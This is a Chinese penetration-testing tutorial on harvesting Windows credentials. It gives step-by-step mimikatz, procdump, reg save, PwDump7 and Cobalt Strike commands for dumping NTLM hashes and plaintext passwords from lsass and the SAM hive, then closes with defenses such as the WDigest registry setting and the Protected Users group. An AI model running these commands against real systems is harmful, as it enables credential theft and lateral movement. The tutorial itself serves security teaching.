拓扑图
Windows系统散列值获取
1.通过CS模块获取用户凭证信息
在获取到目标主机权限后,我们可以抓取hash和dump明文密码,这两项功能都需要管理员权限,如果权限不足,先要进行提权操作。
-
抓取密码哈希:右键被控主机 —> Access —> Dump Hashes
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iBCl8Ihj-1627176965164)(images/2021-07-20-16-09-45.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-031ne9xG-1627176965165)(images/2021-07-20-16-12-28.png)]
-
利用mimikatz抓取明文密码:右键被控主机 —> Access —> Run Mimikatz
导出的信息可以点击View -> Credentials
查看获取到的凭证信息。
2.通过工具获取凭证信息
-
mimikatz
(1)读取本地SAM文件,导出HASH。
在命令行环境中打卡mimikatz,输入privilege::debug
提权,然后输入token::elevate
将权限提升到System,最后输入lsadump::sam
,读取本地SAM文件,获得NTML Hash。
(2)在线读取SAM文件,导出文明密码。
进入mimikatz后依次输入命令:
privilege::debug
log
sekurlsa::logonpasswords
(3)离线读取lsass.dmp文件。
首先使用微软官方工具Procdump导出lasss.dmp文件,命令(需要管理员和权限):
procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后再使用mimikatz离线读取lsass.dmp文件,打开mimikatz后输入
首先加载lsass.dmp:
sekurlsa::minidump lsass.dmp
读取散列值:
sekurlsa::logonPasswords full
-
GetPass
直接运行程序:
-
PwDump7
PwDump7可以得到系统中所有账户的NTLM Hash
。可以通过彩虹表来破解散列值。如果无法通过彩虹表来破解,可以使用哈希传递
的方法进行横向渗透测试。
直接运行程序:
-
QuarksPwDump
命令:QuarksPwDump.exe --dump-hash-local
3.通过SAM和System文件抓取密码。
-
导出SAM和System文件。
命令:
shell reg save hklm\sam sam.hive
shell reg save hklm\system system.hive
-
通过mimikatz读取SAM和System文件。
首先需要将目标系统导出的system.hive和sam.hive文件放到与mimikatz工具同一目录
下,输入如下命令获得NTML Hash:
lsadump::sam /sam:sam.hive /system:system.hive
明文密码或散列值抓取防范方法
微软为了防止用户密码在内存中以明文形式泄露,发布了补丁KB2871997,关闭了Wdigest功能。
Windows Server 2012及以上版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。Windows Server 2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码。
在日常网络维护中,通过查看注册表项Wdigest,可以判断Wdigest 功能的状态。如果该项的值为1,用户下次登录时,攻击者就能使用工具获取明文密码。应该确保该项的值为0,使用户明文密码不会出现在内存中。
1. 安装KB2871997补丁
2. 使用命令管理Wdigest Auth
在命令行环境中开启或关闭Wdigest Auth,有如下两种方法。
- 使用
reg add
命令
开启Wdigest Auth,命令如下:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
关闭Wdigest Auth,命令如下:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
- 使用Powershell
开启Wdigest Auth,命令如下:
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
关闭Wdigest Auth,命令如下:
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
3. 设置Active Directory 2012 R2功能级别
Windows Server 2012 R2新增了一个名为“受保护的用户”的用户组。只要将需要保护的用户放入该组,攻击者就无法使用mimikatz等工具抓取明文密码和散列值了。